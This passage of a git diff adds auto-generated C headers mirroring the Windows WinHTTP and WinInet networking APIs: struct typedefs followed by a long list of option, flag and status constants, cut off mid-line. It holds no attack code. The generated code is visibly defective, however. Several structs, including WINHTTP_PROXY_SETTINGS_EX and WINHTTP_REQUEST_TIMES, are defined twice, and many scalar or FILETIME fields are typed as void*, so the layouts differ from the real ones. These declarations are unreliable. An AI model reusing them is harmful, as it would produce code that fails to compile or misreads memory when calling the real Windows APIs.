WINHTTP_RESOLVER_CACHE_CONFIG; + +typedef struct _WINHTTP_CERTIFICATE_INFO { + void* ftExpiry; + void* ftStart; + void* lpszSubjectInfo; + void* lpszIssuerInfo; + void* lpszProtocolName; + void* lpszSignatureAlgName; + void* lpszEncryptionAlgName; + unsigned int dwKeySize; +} WINHTTP_CERTIFICATE_INFO; + +typedef struct _WINHTTP_HTTP2_RECEIVE_WINDOW { + unsigned int ulStreamWindow; + unsigned int ulStreamWindowUpdateDelta; +} WINHTTP_HTTP2_RECEIVE_WINDOW; + +typedef struct _WINHTTP_PROXY_SETTINGS_PARAM { + unsigned long long ullFlags; + void* pcwszConnectionName; + void* pcwszProbeHost; +} WINHTTP_PROXY_SETTINGS_PARAM; + +typedef struct _WINHTTP_PROXY_SETTINGS_PARAM { + unsigned long long ullFlags; + void* pcwszConnectionName; + void* pcwszProbeHost; +} WINHTTP_PROXY_SETTINGS_PARAM; + +typedef struct _WINHTTP_AUTOPROXY_OPTIONS { + unsigned int dwFlags; + unsigned int dwAutoDetectFlags; + void* lpszAutoConfigUrl; + void* lpvReserved; + unsigned int dwReserved; + BOOL fAutoLogonIfChallenged; +} WINHTTP_AUTOPROXY_OPTIONS; + +typedef struct _WINHTTP_HEADER_NAME { + void* pwszName; + void* pszName; +} WINHTTP_HEADER_NAME; + +typedef struct _WINHTTP_WEB_SOCKET_STATUS { + unsigned int dwBytesTransferred; + void* eBufferType; +} WINHTTP_WEB_SOCKET_STATUS; + +typedef struct _WINHTTP_PROXY_SETTINGS_EX { + unsigned long long ullGenerationId; + unsigned long long ullFlags; + void* pcwszAutoconfigUrl; + void* pcwszProxy; + void* pcwszSecureProxy; + unsigned int cProxyBypasses; + void* rgpcwszProxyBypasses; + unsigned int dwInterfaceIndex; + void* pcwszConnectionName; +} WINHTTP_PROXY_SETTINGS_EX; + +typedef struct _WINHTTP_PROXY_SETTINGS_EX { + unsigned long long ullGenerationId; + unsigned long long ullFlags; + void* pcwszAutoconfigUrl; + void* pcwszProxy; + void* pcwszSecureProxy; + unsigned int cProxyBypasses; + void* rgpcwszProxyBypasses; + unsigned int dwInterfaceIndex; + void* pcwszConnectionName; +} WINHTTP_PROXY_SETTINGS_EX; + +typedef struct _WINHTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgullTimes[64]; +} WINHTTP_REQUEST_TIMES; + +typedef struct _WINHTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgullTimes[64]; +} WINHTTP_REQUEST_TIMES; + +typedef struct _WINHTTP_PROXY_SETTINGS { + unsigned int dwStructSize; + unsigned int dwFlags; + unsigned int dwCurrentSettingsVersion; + void* pwszConnectionName; + void* pwszProxy; + void* pwszProxyBypass; + void* pwszAutoconfigUrl; + void* pwszAutoconfigSecondaryUrl; + unsigned int dwAutoDiscoveryFlags; + void* pwszLastKnownGoodAutoConfigUrl; + unsigned int dwAutoconfigReloadDelayMins; + void* ftLastKnownDetectTime; + unsigned int dwDetectedInterfaceIpCount; + void* pdwDetectedInterfaceIp; + unsigned int cNetworkKeys; + void* pNetworkKeys; +} WINHTTP_PROXY_SETTINGS; + +typedef struct _WINHTTP_QUERY_CONNECTION_GROUP_RESULT { + unsigned int cHosts; + void* pHostConnectionGroups; +} WINHTTP_QUERY_CONNECTION_GROUP_RESULT; + +typedef struct _WINHTTP_HOST_CONNECTION_GROUP { + void* pwszHost; + unsigned int cConnectionGroups; + void* pConnectionGroups; +} WINHTTP_HOST_CONNECTION_GROUP; + +typedef struct _WINHTTP_PROXY_NETWORKING_KEY { + unsigned char pbBuffer[128]; +} WINHTTP_PROXY_NETWORKING_KEY; + +typedef struct _WINHTTP_CREDS_EX { + void* lpszUserName; + void* lpszPassword; + void* lpszRealm; + void* dwAuthScheme; + void* lpszHostName; + unsigned int dwPort; + void* lpszUrl; +} WINHTTP_CREDS_EX; + +typedef struct _WINHTTP_FAILED_CONNECTION_RETRIES { + unsigned int dwMaxRetries; + unsigned int dwAllowedRetryConditions; +} WINHTTP_FAILED_CONNECTION_RETRIES; + +typedef struct _WINHTTP_WEB_SOCKET_ASYNC_RESULT { + void* AsyncResult; + void* Operation; +} WINHTTP_WEB_SOCKET_ASYNC_RESULT; + +typedef struct _WINHTTP_CURRENT_USER_IE_PROXY_CONFIG { + BOOL fAutoDetect; + void* lpszAutoConfigUrl; + void* lpszProxy; + void* lpszProxyBypass; +} WINHTTP_CURRENT_USER_IE_PROXY_CONFIG; + +typedef struct _WINHTTP_FAST_FORWARDING_STATUS { + void* TransferState; + int NtStatus; + unsigned int dwError; + unsigned long long ullBytesTransferred; +} WINHTTP_FAST_FORWARDING_STATUS; + +typedef struct _WINHTTP_FAST_FORWARDING_STATUS { + void* TransferState; + int NtStatus; + unsigned int dwError; + unsigned long long ullBytesTransferred; +} WINHTTP_FAST_FORWARDING_STATUS; + +typedef struct _WINHTTP_CONNECTION_GROUP { + unsigned int cConnections; + void* guidGroup; +} WINHTTP_CONNECTION_GROUP; + +typedef struct _WINHTTP_ASYNC_RESULT { + unsigned long long dwResult; + unsigned int dwError; +} WINHTTP_ASYNC_RESULT; + +typedef struct _WINHTTP_PROTOCOL_ASYNC_RESULT { + void* AsyncResult; + void* Operation; +} WINHTTP_PROTOCOL_ASYNC_RESULT; + +typedef struct _WINHTTP_CREDS { + void* lpszUserName; + void* lpszPassword; + void* lpszRealm; + void* dwAuthScheme; + void* lpszHostName; + unsigned int dwPort; +} WINHTTP_CREDS; + +typedef struct _WINHTTP_PROXY_INFO { + void* dwAccessType; + void* lpszProxy; + void* lpszProxyBypass; +} WINHTTP_PROXY_INFO; + +typedef struct _WINHTTP_PROXY_RESULT { + unsigned int cEntries; + void* pEntries; +} WINHTTP_PROXY_RESULT; + +typedef struct _WINHTTP_PROXY_RESULT_ENTRY { + BOOL fProxy; + BOOL fBypass; + void* ProxyScheme; + void* pwszProxy; + unsigned short ProxyPort; +} WINHTTP_PROXY_RESULT_ENTRY; + +typedef struct _WINHTTP_PROXY_RESULT_EX { + unsigned int cEntries; + void* pEntries; + void* hProxyDetectionHandle; + unsigned int dwProxyInterfaceAffinity; +} WINHTTP_PROXY_RESULT_EX; + +typedef struct _WINHTTP_EXTENDED_HEADER { + void* Anonymous1; + void* Anonymous2; +} WINHTTP_EXTENDED_HEADER; + +// SKIPPED struct WinHttpRequest: no representable fields diff --git a/stdlib/win32/wininet.h b/stdlib/win32/wininet.h new file mode 100644 index 0000000..e604c95 --- /dev/null +++ b/stdlib/win32/wininet.h @@ -0,0 +1,1683 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinInet`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +// SKIPPED const DIALPROP_USERNAME: non-integer constant +// SKIPPED const DIALPROP_PASSWORD: non-integer constant +// SKIPPED const DIALPROP_DOMAIN: non-integer constant +// SKIPPED const DIALPROP_SAVEPASSWORD: non-integer constant +// SKIPPED const DIALPROP_REDIALCOUNT: non-integer constant +// SKIPPED const DIALPROP_REDIALINTERVAL: non-integer constant +// SKIPPED const DIALPROP_PHONENUMBER: non-integer constant +// SKIPPED const DIALPROP_LASTERROR: non-integer constant +// SKIPPED const DIALPROP_RESOLVEDPHONE: non-integer constant +#define DIALENG_OperationComplete 0x10000 +#define DIALENG_RedialAttempt 0x10001 +#define DIALENG_RedialWait 0x10002 +#define INTERNET_INVALID_PORT_NUMBER 0x0 +#define INTERNET_DEFAULT_FTP_PORT 0x15 +#define INTERNET_DEFAULT_GOPHER_PORT 0x46 +#define INTERNET_DEFAULT_SOCKS_PORT 0x438 +#define INTERNET_MAX_HOST_NAME_LENGTH 0x100 +#define INTERNET_MAX_USER_NAME_LENGTH 0x80 +#define INTERNET_MAX_PASSWORD_LENGTH 0x80 +#define INTERNET_MAX_PORT_NUMBER_LENGTH 0x5 +#define INTERNET_MAX_PORT_NUMBER_VALUE 0xffff +#define INTERNET_KEEP_ALIVE_UNKNOWN 0xffffffff +#define INTERNET_KEEP_ALIVE_ENABLED 0x1 +#define INTERNET_KEEP_ALIVE_DISABLED 0x0 +#define INTERNET_REQFLAG_FROM_CACHE 0x1 +#define INTERNET_REQFLAG_ASYNC 0x2 +#define INTERNET_REQFLAG_VIA_PROXY 0x4 +#define INTERNET_REQFLAG_NO_HEADERS 0x8 +#define INTERNET_REQFLAG_PASSIVE 0x10 +#define INTERNET_REQFLAG_CACHE_WRITE_DISABLED 0x40 +#define INTERNET_REQFLAG_NET_TIMEOUT 0x80 +#define INTERNET_FLAG_IDN_DIRECT 0x1 +#define INTERNET_FLAG_IDN_PROXY 0x2 +#define INTERNET_FLAG_RELOAD 0x80000000 +#define INTERNET_FLAG_RAW_DATA 0x40000000 +#define INTERNET_FLAG_EXISTING_CONNECT 0x20000000 +#define INTERNET_FLAG_ASYNC 0x10000000 +#define INTERNET_FLAG_PASSIVE 0x8000000 +#define INTERNET_FLAG_NO_CACHE_WRITE 0x4000000 +#define INTERNET_FLAG_DONT_CACHE 0x4000000 +#define INTERNET_FLAG_MAKE_PERSISTENT 0x2000000 +#define INTERNET_FLAG_FROM_CACHE 0x1000000 +#define INTERNET_FLAG_OFFLINE 0x1000000 +#define INTERNET_FLAG_SECURE 0x800000 +#define INTERNET_FLAG_KEEP_CONNECTION 0x400000 +#define INTERNET_FLAG_NO_AUTO_REDIRECT 0x200000 +#define INTERNET_FLAG_READ_PREFETCH 0x100000 +#define INTERNET_FLAG_NO_COOKIES 0x80000 +#define INTERNET_FLAG_NO_AUTH 0x40000 +#define INTERNET_FLAG_CACHE_IF_NET_FAIL 0x10000 +#define INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP 0x8000 +#define INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS 0x4000 +#define INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 0x2000 +#define INTERNET_FLAG_IGNORE_CERT_CN_INVALID 0x1000 +#define INTERNET_FLAG_RESYNCHRONIZE 0x800 +#define INTERNET_FLAG_HYPERLINK 0x400 +#define INTERNET_FLAG_NO_UI 0x200 +#define INTERNET_FLAG_PRAGMA_NOCACHE 0x100 +#define INTERNET_FLAG_CACHE_ASYNC 0x80 +#define INTERNET_FLAG_FORMS_SUBMIT 0x40 +#define INTERNET_FLAG_FWD_BACK 0x20 +#define INTERNET_FLAG_NEED_FILE 0x10 +#define INTERNET_FLAG_MUST_CACHE_REQUEST 0x10 +#define INTERNET_ERROR_MASK_INSERT_CDROM 0x1 +#define INTERNET_ERROR_MASK_COMBINED_SEC_CERT 0x2 +#define INTERNET_ERROR_MASK_NEED_MSN_SSPI_PKG 0x4 +#define INTERNET_ERROR_MASK_LOGIN_FAILURE_DISPLAY_ENTITY_BODY 0x8 +#define WININET_API_FLAG_ASYNC 0x1 +#define WININET_API_FLAG_SYNC 0x4 +#define WININET_API_FLAG_USE_CONTEXT 0x8 +#define INTERNET_NO_CALLBACK 0x0 +#define IDSI_FLAG_KEEP_ALIVE 0x1 +#define IDSI_FLAG_SECURE 0x2 +#define IDSI_FLAG_PROXY 0x4 +#define IDSI_FLAG_TUNNEL 0x8 +#define INTERNET_PER_CONN_FLAGS_UI 0xa +#define PROXY_TYPE_DIRECT 0x1 +#define PROXY_TYPE_PROXY 0x2 +#define PROXY_TYPE_AUTO_PROXY_URL 0x4 +#define PROXY_TYPE_AUTO_DETECT 0x8 +#define AUTO_PROXY_FLAG_USER_SET 0x1 +#define AUTO_PROXY_FLAG_ALWAYS_DETECT 0x2 +#define AUTO_PROXY_FLAG_DETECTION_RUN 0x4 +#define AUTO_PROXY_FLAG_MIGRATED 0x8 +#define AUTO_PROXY_FLAG_DONT_CACHE_PROXY_RESULT 0x10 +#define AUTO_PROXY_FLAG_CACHE_INIT_RUN 0x20 +#define AUTO_PROXY_FLAG_DETECTION_SUSPECT 0x40 +#define ISO_FORCE_DISCONNECTED 0x1 +#define INTERNET_RFC1123_FORMAT 0x0 +#define INTERNET_RFC1123_BUFSIZE 0x1e +#define ICU_USERNAME 0x40000000 +#define INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY 0x4 +#define INTERNET_SERVICE_FTP 0x1 +#define INTERNET_SERVICE_GOPHER 0x2 +#define INTERNET_SERVICE_HTTP 0x3 +#define IRF_ASYNC 0x1 +#define IRF_SYNC 0x4 +#define IRF_USE_CONTEXT 0x8 +#define IRF_NO_WAIT 0x8 +#define ISO_GLOBAL 0x1 +#define ISO_REGISTRY 0x2 +#define INTERNET_OPTION_CALLBACK 0x1 +#define INTERNET_OPTION_CONNECT_TIMEOUT 0x2 +#define INTERNET_OPTION_CONNECT_RETRIES 0x3 +#define INTERNET_OPTION_CONNECT_BACKOFF 0x4 +#define INTERNET_OPTION_SEND_TIMEOUT 0x5 +#define INTERNET_OPTION_CONTROL_SEND_TIMEOUT 0x5 +#define INTERNET_OPTION_RECEIVE_TIMEOUT 0x6 +#define INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT 0x6 +#define INTERNET_OPTION_DATA_SEND_TIMEOUT 0x7 +#define INTERNET_OPTION_DATA_RECEIVE_TIMEOUT 0x8 +#define INTERNET_OPTION_HANDLE_TYPE 0x9 +#define INTERNET_OPTION_LISTEN_TIMEOUT 0xb +#define INTERNET_OPTION_READ_BUFFER_SIZE 0xc +#define INTERNET_OPTION_WRITE_BUFFER_SIZE 0xd +#define INTERNET_OPTION_ASYNC_ID 0xf +#define INTERNET_OPTION_ASYNC_PRIORITY 0x10 +#define INTERNET_OPTION_PARENT_HANDLE 0x15 +#define INTERNET_OPTION_KEEP_CONNECTION 0x16 +#define INTERNET_OPTION_REQUEST_FLAGS 0x17 +#define INTERNET_OPTION_EXTENDED_ERROR 0x18 +#define INTERNET_OPTION_OFFLINE_MODE 0x1a +#define INTERNET_OPTION_CACHE_STREAM_HANDLE 0x1b +#define INTERNET_OPTION_USERNAME 0x1c +#define INTERNET_OPTION_PASSWORD 0x1d +#define INTERNET_OPTION_ASYNC 0x1e +#define INTERNET_OPTION_SECURITY_FLAGS 0x1f +#define INTERNET_OPTION_SECURITY_CERTIFICATE_STRUCT 0x20 +#define INTERNET_OPTION_DATAFILE_NAME 0x21 +#define INTERNET_OPTION_URL 0x22 +#define INTERNET_OPTION_SECURITY_CERTIFICATE 0x23 +#define INTERNET_OPTION_SECURITY_KEY_BITNESS 0x24 +#define INTERNET_OPTION_REFRESH 0x25 +#define INTERNET_OPTION_PROXY 0x26 +#define INTERNET_OPTION_SETTINGS_CHANGED 0x27 +#define INTERNET_OPTION_VERSION 0x28 +#define INTERNET_OPTION_USER_AGENT 0x29 +#define INTERNET_OPTION_END_BROWSER_SESSION 0x2a +#define INTERNET_OPTION_PROXY_USERNAME 0x2b +#define INTERNET_OPTION_PROXY_PASSWORD 0x2c +#define INTERNET_OPTION_CONTEXT_VALUE 0x2d +#define INTERNET_OPTION_CONNECT_LIMIT 0x2e +#define INTERNET_OPTION_SECURITY_SELECT_CLIENT_CERT 0x2f +#define INTERNET_OPTION_POLICY 0x30 +#define INTERNET_OPTION_DISCONNECTED_TIMEOUT 0x31 +#define INTERNET_OPTION_CONNECTED_STATE 0x32 +#define INTERNET_OPTION_IDLE_STATE 0x33 +#define INTERNET_OPTION_OFFLINE_SEMANTICS 0x34 +#define INTERNET_OPTION_SECONDARY_CACHE_KEY 0x35 +#define INTERNET_OPTION_CALLBACK_FILTER 0x36 +#define INTERNET_OPTION_CONNECT_TIME 0x37 +#define INTERNET_OPTION_SEND_THROUGHPUT 0x38 +#define INTERNET_OPTION_RECEIVE_THROUGHPUT 0x39 +#define INTERNET_OPTION_REQUEST_PRIORITY 0x3a +#define INTERNET_OPTION_HTTP_VERSION 0x3b +#define INTERNET_OPTION_RESET_URLCACHE_SESSION 0x3c +#define INTERNET_OPTION_ERROR_MASK 0x3e +#define INTERNET_OPTION_FROM_CACHE_TIMEOUT 0x3f +#define INTERNET_OPTION_BYPASS_EDITED_ENTRY 0x40 +#define INTERNET_OPTION_HTTP_DECODING 0x41 +#define INTERNET_OPTION_DIAGNOSTIC_SOCKET_INFO 0x43 +#define INTERNET_OPTION_CODEPAGE 0x44 +#define INTERNET_OPTION_CACHE_TIMESTAMPS 0x45 +#define INTERNET_OPTION_DISABLE_AUTODIAL 0x46 +#define INTERNET_OPTION_MAX_CONNS_PER_SERVER 0x49 +#define INTERNET_OPTION_MAX_CONNS_PER_1_0_SERVER 0x4a +#define INTERNET_OPTION_PER_CONNECTION_OPTION 0x4b +#define INTERNET_OPTION_DIGEST_AUTH_UNLOAD 0x4c +#define INTERNET_OPTION_IGNORE_OFFLINE 0x4d +#define INTERNET_OPTION_IDENTITY 0x4e +#define INTERNET_OPTION_REMOVE_IDENTITY 0x4f +#define INTERNET_OPTION_ALTER_IDENTITY 0x50 +#define INTERNET_OPTION_SUPPRESS_BEHAVIOR 0x51 +#define INTERNET_OPTION_AUTODIAL_MODE 0x52 +#define INTERNET_OPTION_AUTODIAL_CONNECTION 0x53 +#define INTERNET_OPTION_CLIENT_CERT_CONTEXT 0x54 +#define INTERNET_OPTION_AUTH_FLAGS 0x55 +#define INTERNET_OPTION_COOKIES_3RD_PARTY 0x56 +#define INTERNET_OPTION_DISABLE_PASSPORT_AUTH 0x57 +#define INTERNET_OPTION_SEND_UTF8_SERVERNAME_TO_PROXY 0x58 +#define INTERNET_OPTION_EXEMPT_CONNECTION_LIMIT 0x59 +#define INTERNET_OPTION_ENABLE_PASSPORT_AUTH 0x5a +#define INTERNET_OPTION_HIBERNATE_INACTIVE_WORKER_THREADS 0x5b +#define INTERNET_OPTION_ACTIVATE_WORKER_THREADS 0x5c +#define INTERNET_OPTION_RESTORE_WORKER_THREAD_DEFAULTS 0x5d +#define INTERNET_OPTION_SOCKET_SEND_BUFFER_LENGTH 0x5e +#define INTERNET_OPTION_PROXY_SETTINGS_CHANGED 0x5f +#define INTERNET_OPTION_DATAFILE_EXT 0x60 +#define INTERNET_OPTION_CODEPAGE_PATH 0x64 +#define INTERNET_OPTION_CODEPAGE_EXTRA 0x65 +#define INTERNET_OPTION_IDN 0x66 +#define INTERNET_OPTION_MAX_CONNS_PER_PROXY 0x67 +#define INTERNET_OPTION_SUPPRESS_SERVER_AUTH 0x68 +#define INTERNET_OPTION_SERVER_CERT_CHAIN_CONTEXT 0x69 +#define INTERNET_OPTION_ENABLE_REDIRECT_CACHE_READ 0x7a +#define INTERNET_OPTION_COMPRESSED_CONTENT_LENGTH 0x93 +#define INTERNET_OPTION_ENABLE_HTTP_PROTOCOL 0x94 +#define INTERNET_OPTION_HTTP_PROTOCOL_USED 0x95 +#define INTERNET_OPTION_ENCODE_EXTRA 0x9b +#define INTERNET_OPTION_HSTS 0x9d +#define INTERNET_OPTION_ENTERPRISE_CONTEXT 0x9f +#define INTERNET_OPTION_CONNECTION_FILTER 0xa2 +#define INTERNET_OPTION_REFERER_TOKEN_BINDING_HOSTNAME 0xa3 +#define INTERNET_OPTION_TOKEN_BINDING_PUBLIC_KEY 0xb5 +#define INTERNET_OPTION_COOKIES_SAME_SITE_LEVEL 0xbb +#define INTERNET_OPTION_REQUEST_ANNOTATION 0xc1 +#define INTERNET_FIRST_OPTION 0x1 +#define INTERNET_LAST_OPTION 0xc1 +#define INTERNET_PRIORITY_FOREGROUND 0x3e8 +#define HTTP_COOKIES_SAME_SITE_LEVEL_UNKNOWN 0x0 +#define HTTP_COOKIES_SAME_SITE_LEVEL_SAME_SITE 0x1 +#define HTTP_COOKIES_SAME_SITE_LEVEL_CROSS_SITE_LAX 0x2 +#define HTTP_COOKIES_SAME_SITE_LEVEL_CROSS_SITE 0x3 +#define HTTP_COOKIES_SAME_SITE_LEVEL_MAX 0x3 +#define HTTP_PROTOCOL_FLAG_HTTP2 0x2 +#define HTTP_PROTOCOL_MASK 0x2 +#define INTERNET_OPTION_REQUEST_ANNOTATION_MAX_LENGTH 0xfa00 +#define INTERNET_HANDLE_TYPE_INTERNET 0x1 +#define INTERNET_HANDLE_TYPE_CONNECT_FTP 0x2 +#define INTERNET_HANDLE_TYPE_CONNECT_GOPHER 0x3 +#define INTERNET_HANDLE_TYPE_CONNECT_HTTP 0x4 +#define INTERNET_HANDLE_TYPE_FTP_FIND 0x5 +#define INTERNET_HANDLE_TYPE_FTP_FIND_HTML 0x6 +#define INTERNET_HANDLE_TYPE_FTP_FILE 0x7 +#define INTERNET_HANDLE_TYPE_FTP_FILE_HTML 0x8 +#define INTERNET_HANDLE_TYPE_GOPHER_FIND 0x9 +#define INTERNET_HANDLE_TYPE_GOPHER_FIND_HTML 0xa +#define INTERNET_HANDLE_TYPE_GOPHER_FILE 0xb +#define INTERNET_HANDLE_TYPE_GOPHER_FILE_HTML 0xc +#define INTERNET_HANDLE_TYPE_HTTP_REQUEST 0xd +#define INTERNET_HANDLE_TYPE_FILE_REQUEST 0xe +#define AUTH_FLAG_DISABLE_NEGOTIATE 0x1 +#define AUTH_FLAG_ENABLE_NEGOTIATE 0x2 +#define AUTH_FLAG_DISABLE_BASIC_CLEARCHANNEL 0x4 +#define AUTH_FLAG_DISABLE_SERVER_AUTH 0x8 +#define SECURITY_FLAG_UNKNOWNBIT 0x80000000 +#define SECURITY_FLAG_FORTEZZA 0x8000000 +#define SECURITY_FLAG_NORMALBITNESS 0x10000000 +#define SECURITY_FLAG_SSL 0x2 +#define SECURITY_FLAG_SSL3 0x4 +#define SECURITY_FLAG_PCT 0x8 +#define SECURITY_FLAG_PCT4 0x10 +#define SECURITY_FLAG_IETFSSL4 0x20 +#define SECURITY_FLAG_40BIT 0x10000000 +#define SECURITY_FLAG_128BIT 0x20000000 +#define SECURITY_FLAG_56BIT 0x40000000 +#define SECURITY_FLAG_IGNORE_REVOCATION 0x80 +#define SECURITY_FLAG_IGNORE_WRONG_USAGE 0x200 +#define SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS 0x4000 +#define SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP 0x8000 +#define SECURITY_FLAG_IGNORE_WEAK_SIGNATURE 0x10000 +#define SECURITY_FLAG_OPT_IN_WEAK_SIGNATURE 0x20000 +#define AUTODIAL_MODE_NEVER 0x1 +#define AUTODIAL_MODE_ALWAYS 0x2 +#define AUTODIAL_MODE_NO_NETWORK_PRESENT 0x4 +#define INTERNET_STATUS_RESOLVING_NAME 0xa +#define INTERNET_STATUS_NAME_RESOLVED 0xb +#define INTERNET_STATUS_CONNECTING_TO_SERVER 0x14 +#define INTERNET_STATUS_CONNECTED_TO_SERVER 0x15 +#define INTERNET_STATUS_SENDING_REQUEST 0x1e +#define INTERNET_STATUS_REQUEST_SENT 0x1f +#define INTERNET_STATUS_RECEIVING_RESPONSE 0x28 +#define INTERNET_STATUS_RESPONSE_RECEIVED 0x29 +#define INTERNET_STATUS_CTL_RESPONSE_RECEIVED 0x2a +#define INTERNET_STATUS_PREFETCH 0x2b +#define INTERNET_STATUS_CLOSING_CONNECTION 0x32 +#define INTERNET_STATUS_CONNECTION_CLOSED 0x33 +#define INTERNET_STATUS_HANDLE_CREATED 0x3c +#define INTERNET_STATUS_HANDLE_CLOSING 0x46 +#define INTERNET_STATUS_DETECTING_PROXY 0x50 +#define INTERNET_STATUS_REQUEST_COMPLETE 0x64 +#define INTERNET_STATUS_REDIRECT 0x6e +#define INTERNET_STATUS_INTERMEDIATE_RESPONSE 0x78 +#define INTERNET_STATUS_USER_INPUT_REQUIRED 0x8c +#define INTERNET_STATUS_STATE_CHANGE 0xc8 +#define INTERNET_STATUS_COOKIE_SENT 0x140 +#define INTERNET_STATUS_COOKIE_RECEIVED 0x141 +#define INTERNET_STATUS_PRIVACY_IMPACTED 0x144 +#define INTERNET_STATUS_P3P_HEADER 0x145 +#define INTERNET_STATUS_P3P_POLICYREF 0x146 +#define INTERNET_STATUS_COOKIE_HISTORY 0x147 +#define MAX_GOPHER_DISPLAY_TEXT 0x80 +#define MAX_GOPHER_SELECTOR_TEXT 0x100 +#define MAX_GOPHER_HOST_NAME 0x100 +#define MAX_GOPHER_CATEGORY_NAME 0x80 +#define MAX_GOPHER_ATTRIBUTE_NAME 0x80 +#define MIN_GOPHER_ATTRIBUTE_LENGTH 0x100 +// SKIPPED const GOPHER_INFO_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ADMIN_CATEGORY: non-integer constant +// SKIPPED const GOPHER_VIEWS_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ABSTRACT_CATEGORY: non-integer constant +// SKIPPED const GOPHER_VERONICA_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ADMIN_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_MOD_DATE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TTL_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_SCORE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_RANGE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_SITE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_ORG_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_LOCATION_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_GEOG_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TIMEZONE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_PROVIDER_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_VERSION_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_ABSTRACT_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_VIEW_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TREEWALK_ATTRIBUTE: non-integer constant +#define GOPHER_ATTRIBUTE_ID_BASE 0xabcccc00 +#define GOPHER_CATEGORY_ID_ALL 0xabcccc01 +#define GOPHER_CATEGORY_ID_INFO 0xabcccc02 +#define GOPHER_CATEGORY_ID_ADMIN 0xabcccc03 +#define GOPHER_CATEGORY_ID_VIEWS 0xabcccc04 +#define GOPHER_CATEGORY_ID_ABSTRACT 0xabcccc05 +#define GOPHER_CATEGORY_ID_VERONICA 0xabcccc06 +#define GOPHER_CATEGORY_ID_ASK 0xabcccc07 +#define GOPHER_CATEGORY_ID_UNKNOWN 0xabcccc08 +#define GOPHER_ATTRIBUTE_ID_ALL 0xabcccc09 +#define GOPHER_ATTRIBUTE_ID_ADMIN 0xabcccc0a +#define GOPHER_ATTRIBUTE_ID_MOD_DATE 0xabcccc0b +#define GOPHER_ATTRIBUTE_ID_TTL 0xabcccc0c +#define GOPHER_ATTRIBUTE_ID_SCORE 0xabcccc0d +#define GOPHER_ATTRIBUTE_ID_RANGE 0xabcccc0e +#define GOPHER_ATTRIBUTE_ID_SITE 0xabcccc0f +#define GOPHER_ATTRIBUTE_ID_ORG 0xabcccc10 +#define GOPHER_ATTRIBUTE_ID_LOCATION 0xabcccc11 +#define GOPHER_ATTRIBUTE_ID_GEOG 0xabcccc12 +#define GOPHER_ATTRIBUTE_ID_TIMEZONE 0xabcccc13 +#define GOPHER_ATTRIBUTE_ID_PROVIDER 0xabcccc14 +#define GOPHER_ATTRIBUTE_ID_VERSION 0xabcccc15 +#define GOPHER_ATTRIBUTE_ID_ABSTRACT 0xabcccc16 +#define GOPHER_ATTRIBUTE_ID_VIEW 0xabcccc17 +#define GOPHER_ATTRIBUTE_ID_TREEWALK 0xabcccc18 +#define GOPHER_ATTRIBUTE_ID_UNKNOWN 0xabcccc19 +#define HTTP_MAJOR_VERSION 0x1 +#define HTTP_MINOR_VERSION 0x0 +// SKIPPED const HTTP_VERSIONA: non-integer constant +// SKIPPED const HTTP_VERSIONW: non-integer constant +#define HTTP_QUERY_MIME_VERSION 0x0 +#define HTTP_QUERY_CONTENT_TYPE 0x1 +#define HTTP_QUERY_CONTENT_TRANSFER_ENCODING 0x2 +#define HTTP_QUERY_CONTENT_ID 0x3 +#define HTTP_QUERY_CONTENT_DESCRIPTION 0x4 +#define HTTP_QUERY_CONTENT_LENGTH 0x5 +#define HTTP_QUERY_CONTENT_LANGUAGE 0x6 +#define HTTP_QUERY_ALLOW 0x7 +#define HTTP_QUERY_PUBLIC 0x8 +#define HTTP_QUERY_DATE 0x9 +#define HTTP_QUERY_EXPIRES 0xa +#define HTTP_QUERY_LAST_MODIFIED 0xb +#define HTTP_QUERY_MESSAGE_ID 0xc +#define HTTP_QUERY_URI 0xd +#define HTTP_QUERY_DERIVED_FROM 0xe +#define HTTP_QUERY_COST 0xf +#define HTTP_QUERY_LINK 0x10 +#define HTTP_QUERY_PRAGMA 0x11 +#define HTTP_QUERY_VERSION 0x12 +#define HTTP_QUERY_STATUS_CODE 0x13 +#define HTTP_QUERY_STATUS_TEXT 0x14 +#define HTTP_QUERY_RAW_HEADERS 0x15 +#define HTTP_QUERY_RAW_HEADERS_CRLF 0x16 +#define HTTP_QUERY_CONNECTION 0x17 +#define HTTP_QUERY_ACCEPT 0x18 +#define HTTP_QUERY_ACCEPT_CHARSET 0x19 +#define HTTP_QUERY_ACCEPT_ENCODING 0x1a +#define HTTP_QUERY_ACCEPT_LANGUAGE 0x1b +#define HTTP_QUERY_AUTHORIZATION 0x1c +#define HTTP_QUERY_CONTENT_ENCODING 0x1d +#define HTTP_QUERY_FORWARDED 0x1e +#define HTTP_QUERY_FROM 0x1f +#define HTTP_QUERY_IF_MODIFIED_SINCE 0x20 +#define HTTP_QUERY_LOCATION 0x21 +#define HTTP_QUERY_ORIG_URI 0x22 +#define HTTP_QUERY_REFERER 0x23 +#define HTTP_QUERY_RETRY_AFTER 0x24 +#define 